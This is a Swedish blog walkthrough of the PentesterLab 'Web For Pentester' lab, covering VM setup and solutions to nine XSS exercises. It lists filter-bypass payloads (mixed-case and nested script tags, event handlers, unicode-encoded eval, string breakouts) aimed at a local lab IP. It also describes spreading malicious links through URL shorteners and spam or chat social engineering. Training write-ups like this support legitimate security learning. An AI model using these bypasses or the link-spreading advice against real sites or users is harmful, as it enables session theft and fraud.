PentesterLab – Web For Pentester

Installera

Så. Först måste du ladda ner VirtualBox. Därefter skapa en ny linuxmaskin, 32bit.
Därefter laddar du ner .iso-filen. Klickas på settings i din maskin, och sedan på storeage, där det är empy lägger du till iso-filen. Sen går du över till nätverk å byter från LAN till Bridged.
Sedan startar du den virtuella maskinen. När den har laddat klart kör du kommandot:
ifconfig
Då får du reda på datorns interna ip. Kopiera det å klistra in det i den browser, så kommer sidan upp.

XSS

Det finns i princip två sorters XSS. Persistent och non-persistent. Dessa kan även bveskrivas som Server och DOM attacker. Non-persistrent kallas ibland även för reflected.
Non-persistent: reflected.
Persitent: Server
I persistent så sparas scriptet, eller koden, i serverns databas. Så nästa gång som någon besöker sidan och servern skickar infon från databasen så innehåller den scriptet.
Persistent är självklart inte lika vanligt som non-persistent. Men det är mycket farligare attack.

Det finns även self-propagating.

Non-persistent/reflected.
Som man kan sedan nedan så kan XSS-attacker utföras direkt i adressfältet. Problemet är dock att attacken bara utsätter attackeraren själv som kör skriptet (när hen laddar sidan). Därför måste vi alltså lyckas transportera adressen med scriptet i till en annan användare. Detta kan göras genom url-förkortningar.
Google short blockerar om man försöker lägga in script. Men inte:
https://bitly.com/shorten/
Sedan krävs det vanlig hederlig social engineering. De vanligaste sätten är att skicka länkarna via spam eller via typ chatklienter. Typ skype. Ett annat sätt är att publicera länken på forum eller i kommentarsfält. Då kan man dessutom “gömma” adressen i en a href-tag.

Exempel 1.
Vi kan direkt se att i adressfältet kan man sätta in text som sedan skrivs ut på sidan.

http://192.168.1.101/xss/example1.php?name=hacker

Här kan man alltså testa att sätta in ett script för att pröva om det exekivieras.

http://192.168.1.101/xss/example1.php?name=<script>alert("hej")</script>

Exempel 2.
Här kan vi notera att om vi testar

http://192.168.1.101/xss/example1.php?name=<script>alert("hej")</script>

Så skrivs bara alert(“hej”) ut. Vilket tyder på att något filtrerar bort script-taggarna. Vilket gör att scriptet tolkas som text och inte som kod.

För att komma runt det så kan vi köra den enklaste formen.

http://192.168.1.101/xss/example1.php?name=<Script>alert("hej")</Script>

Alltså, vi ändrade så att script stavas med stor bokstav. Den regex filtrering som hade implementeras hade inte tänkt så långt.

Exempel 3
Den här var lite knivigare. Hela

&lt;script&gt;

Här nu bortfiltrerad.
Knepet blir därför att köra

http://192.168.1.101/xss/example3.php?name=<scri<script>pt>alert("xss")</scri</script>pt>

Exempel 4
Här har script helt å hållet filtrerats bort. Då får vi istället injecta javascript i andra taggar.
andra taggar där man kan göra det är
a
img

http://192.168.1.101/xss/example4.php?name=hacker&lt;img src=&quot;jj&quot; onerror=&quot;alert('hello')&quot;/&gt;

http://192.168.1.101/xss/example4.php?name=hacker%3Ca%20onclick=%22alert(%27hej%27)%22%20href=%22test%22/%3Ehejejej%3C/a%3E

http://192.168.1.101/xss/example4.php?name=hacker&lt;a href=&quot;alert(&quot;hej&quot;);&quot;&gt;klicka mig&lt;/a&gt;

http://192.168.1.101/xss/example4.php?name=hacker<button%20onclick=%27alert("hello")%27>button</button>

http://192.168.1.101/xss/example4.php?name=hacker%3Cimg%20src=%22ff%22%20onclick=%27alert(%22hej%22)%27%3E

http://192.168.1.101/xss/example4.php?name=hacker%3Cp%20onmouseup=%27alert(%22hello%22)%27%3EClick%20the%20text!%3C/p%3E

http://192.168.1.101/xss/example4.php?name=hacker%3Cp%20onmousedown=%27alert(%22hello%22)%27%3EClick%20the%20text!%3C/p%3E

Här funkar alltså alla javascript functioner men till element som inte innehåller ordet script.

Exempel 5
I Exempel 5 verkar det som att de tillåter script-taggen igen men nu är det alert som är sanitized. Det är enkelt att komma undan. Om vi vill få upp en pop-up så kan vi antingen köra:

http://192.168.1.101/xss/example5.php?name=hacker<script>prompt("hello")</script>

//eller
http://192.168.1.101/xss/example5.php?name=hacker<script>confirm("hello")</script>

//Eller så skriver vi scriptet i unicode-tecken.

http://192.168.1.101/xss/example5.php?name=hacker%3Cscript%3Eeval(%22u0061u006Cu0065u0072u0074u0028u0027u0068u0065u006Cu006Cu006Fu0027u0029%22);%3C/script%3E

Scriptet kan alltså skrivas i unicode-format. Eval utför koden oavsett om det är unicode/utf8/hexadecimal.
Om du enkelt vill förvanla utf8-text till unicode kan du använda den här koden:

function toUnicode(theString) {
  var unicodeString = '';
  for (var i=0; i < theString.length; i++) {
    var theUnicode = theString.charCodeAt(i).toString(16).toUpperCase();
    while (theUnicode.length < 4) {
      theUnicode = '0' + theUnicode;
    }
    theUnicode = '\u' + theUnicode;
    unicodeString += theUnicode;
  }
  return unicodeString;
}
var uni = toUnicode(script);
console.log(uni);

Exempel 6.
Här har det skett lite. Om vi kollar i källkoden så ser vi att det vi skickar in blir tolkat som att det är en del av en string som sätts in i en variabel.
För att lösa det behöver vi först avsluta stringen å sedan lägga in vår kod, å sedan kommentera ut efterföljande kod.

http://192.168.1.101/xss/example6.php?name=hacker";alert("hello")://

Exempel 7.
Här kan vi notera i källkoden att det är ungefär samma problem som Exempel 6. Skillnaden är bara att nu filteras alla “”. Så vi använder bara ” istället

http://192.168.1.101/xss/example7.php?name=';alert('hello')://

Exempel 8.
Om vi klickar runt lite så kan vi se att vi kan injecta saker in i form-taggen. Där kan vi sen injecta vår alert via en onclick.

http://192.168.1.101/xss/example8.php/%22onclick=%22alert('hello');

Exempel 9.
Den sista var ganska så enkel. koden i källkoden såg ut såhär:

<script>
  document.write(location.hash.substring(1));
</script>

Vilket betyder att den skriver ut på hemsidan (document.write) vad som finns i adressen efter hash-markören. Alltså efter #

Detta är ett exempel på en DOM-based attack. Hemsidan kan vara statisk men det finns ändå risk genom att man skriver document.write(location.hash)

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s